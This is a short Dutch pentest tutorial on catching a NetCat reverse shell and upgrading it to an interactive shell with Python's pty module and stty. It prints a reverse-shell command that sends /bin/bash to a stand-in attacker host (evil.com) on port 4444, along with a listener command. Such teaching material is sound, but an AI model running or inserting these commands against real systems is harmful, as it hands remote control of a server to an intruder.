NetCat shell upgraden
De heilige graal tijdens een pentest is een goedwerkende shell. Wanneer het tijdens een pentest gelukt is om de server over te nemen door commando’s uit te kunnen voeren op het systeem, wordt er door de hacker vaak een verbinding opgezet naar zijn server. Hiervoor wordt vaak NetCat gebruikt. NetCat is een tool op Linux systemen dat het mogelijk maakt om andere programma’s via het internet te besturen. Een van de grootste frustraties voor hackers is echter dat de shell die teruggegeven wordt behoorlijk beperkt is. Deze binary kan afhankelijk van het systeem ook ncat of nc heten.
Hacken met NetCat
Stel, het is een hacker gelukt om een bestand te uploaden, genaamd shell.php:
De hacker zet op zijn eigen server (evil.com) een poort open die luistert op poort 4444. Dit doet hij met nc -lvp 4444
. Nu wordt het commando nc -e /bin/bash evil.com 4444
uitgevoerd op de gehackte server. De gehackte server zal nu een verbinding opzetten naar de server van de hacker. Dit wordt een reverse tcp shell genoemd.
john@Technetium:~$ nc -lvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [1.2.3.4] port 4444 [tcp/*] accepted (family 2, sport 54490)
whoami
cyberant
^C
john@Technetium:~$ whoami
john
Hierboven staat wat een hacker te zien krijgt. Wanneer de hacker per ongeluk CTRL-C intoetst, is de shell niet meer beschikbaar. Ook werken commando’s waar interactie voor nodig (zoals su) is niet.
Hoe een Netcat Shell upgraden naar een interactieve shell?
De eerste stap die nodig is om dit te verbeteren is door met Python een interactieve shell te starten. Dit kan met de PTY module van Python, en werkt als volgt:
python -c 'import pty; pty.spawn("/bin/bash")'
Het bovenstaande commando levert een semi-interactieve shell op. Dat wil zeggen dat het mogelijk is om commando’s zoals su
en mysql
, die om een wachtwoord vragen. De shell sluit zichzelf nog steeds af met CTRL-C, en auto completion via TAB werkt ook niet. Met een paar simpele commando’s (en een beetje magie) is het mogelijk om naar een volledige shell te gaan.
Als CTRL-Z
wordt uitgevoerd dan wordt de shell naar de achtergrond geplaatst. Vervolgens wordt er getypt (in de lokale terminal):
stty raw -echo
fg
Het bovenstaande zorgt ervoor dat er nu een volledige shell is, en alles kan wat via SSH bijvoorbeeld ook zou kunnen. Functies zoals tab completion en history werken nu. En VIM via NetCat? Sure!